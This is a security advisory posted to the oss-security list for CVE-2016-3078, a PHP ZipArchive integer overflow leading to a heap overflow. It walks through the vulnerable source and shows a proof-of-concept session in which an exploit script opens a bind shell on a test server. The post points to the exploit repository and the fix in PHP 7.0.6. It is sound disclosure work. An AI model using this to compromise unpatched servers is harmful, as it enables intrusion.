[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] CVE-2016-3078: php: integer overflow in ZipArchive::getFrom*
From: Hans Jerry Illikainen <hji () dyntopia ! com>
Date: 2016-04-28 7:44:18
Message-ID: m1lh3yjhyl.darpa () darpa ! mil
[Download RAW message or body]
Details
=======
An integer wrap may occur in PHP 7.x before version 7.0.6 when reading
zip files with the getFromIndex() and getFromName() methods of
ZipArchive, resulting in a heap overflow.
php-7.0.5/ext/zip/php_zip.c
,----
> 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */
> 2680 {
> ....
> 2684 struct zip_stat sb;
> ....
> 2689 zend_long len = 0;
> ....
> 2692 zend_string *buffer;
> ....
> 2702 if (type == 1) {
> 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == \
> FAILURE) {
> 2704 return;
> 2705 }
> 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); \
> // (1)
> 2707 } else {
> 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == \
> FAILURE) {
> 2709 return;
> 2710 }
> 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); \
> // (1)
> 2712 }
> ....
> 2718 if (len < 1) {
> 2719 len = sb.size;
> 2720 }
> ....
> 2731 buffer = zend_string_alloc(len, 0); \
> // (2)
> 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); \
> // (3)
> ....
> 2742 }
`----
With `sb.size' from (1) being:
php-7.0.5/ext/zip/lib/zip_stat_index.c
,----
> 038 ZIP_EXTERN int
> 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags,
> 040 zip_stat_t *st)
> 041 {
> ...
> 043 zip_dirent_t *de;
> 044
> 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL)
> 046 return -1;
> ...
> 063 st->size = de->uncomp_size;
> ...
> 086 }
`----
Both `size' and `uncomp_size' are unsigned 64bit integers:
php-7.0.5/ext/zip/lib/zipint.h
,----
> 339 struct zip_dirent {
> ...
> 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */
> ...
> 332 };
`----
php-7.0.5/ext/zip/lib/zip.h
,----
> 279 struct zip_stat {
> ...
> 283 zip_uint64_t size; /* size of file (uncompressed) */
> ...
> 290 };
`----
Whereas `len' is signed and has a platform-dependent size:
php-7.0.5/Zend/zend_long.h
,----
> 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64)
> 029 # define ZEND_ENABLE_ZVAL_LONG64 1
> 030 #endif
> ...
> 033 #ifdef ZEND_ENABLE_ZVAL_LONG64
> 034 typedef int64_t zend_long;
> ...
> 043 #else
> 044 typedef int32_t zend_long;
> ...
> 053 #endif
`----
Uncompressed file sizes in zip-archives may be specified as either 32-
or 64bit values; with the latter requiring that the size be specified in
the extra field in zip64 mode.
Anyway, as for the invocation of `zend_string_alloc()' in (2):
php-7.0.5/Zend/zend_string.h
,----
> 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent)
> 120 {
> 121 zend_string *ret = (zend_string \
> *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4)
> ...
> 133 ZSTR_LEN(ret) = len; \
> // (5)
> 134 return ret;
> 135 }
`----
The `size' argument to the `pemalloc' macro is aligned/adjusted in (4)
whilst the *original* value of `len' is stored as the size of the
allocated buffer in (5). No boundary checking is done in (4) and it may
thus wrap, which would lead to a heap overflow during the invocation of
`zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)':
php-7.0.5/Zend/zend_string.h
,----
> 041 #define ZSTR_LEN(zstr) (zstr)->len
`----
On a 32bit system:
,----
> (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe))
> $1 = 0x10
`----
The wraparound may also occur on 64bit systems with `uncomp_size'
specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463).
However, it won't result in a buffer overflow because of `zip_fread()'
bailing on a size that would have wrapped the allocation in (4):
php-7.0.5/ext/zip/lib/zip_fread.c
,----
> 038 ZIP_EXTERN zip_int64_t
> 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread)
> 040 {
> ...
> 049 if (toread > ZIP_INT64_MAX) {
> 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0);
> 051 return -1;
> 052 }
> ...
> 063 }
`----
php-7.0.5/ext/zip/lib/zipconf.h
,----
> 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL
`----
,----
> (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff))
> $1 = 0x8000000000000018
`----
PoC
===
Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]:
,----
> $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
> [*] this may take a while
> [*] 103 of 4096 (0x67fd0)...
> [+] connected to 1.2.3.4:5555
>
> id
> uid=33(http) gid=33(http) groups=33(http)
>
> uname -a
> Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST
> 2016 i686 GNU/Linux
>
> pacman -Qs php-fpm
> local/php-fpm 7.0.5-2
> FastCGI Process Manager for PHP
>
> cat upload.php
> <?php
> $zip = new ZipArchive();
> if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
> echo "cannot open archive\n";
> } else {
> for ($i = 0; $i < $zip->numFiles; $i++) {
> $data = $zip->getFromIndex($i);
> }
> $zip->close();
> }
> ?>
`----
Solution
========
This issue has been fixed in php 7.0.6.
Footnotes
_________
[1] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078]
--
Hans Jerry Illikainen
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic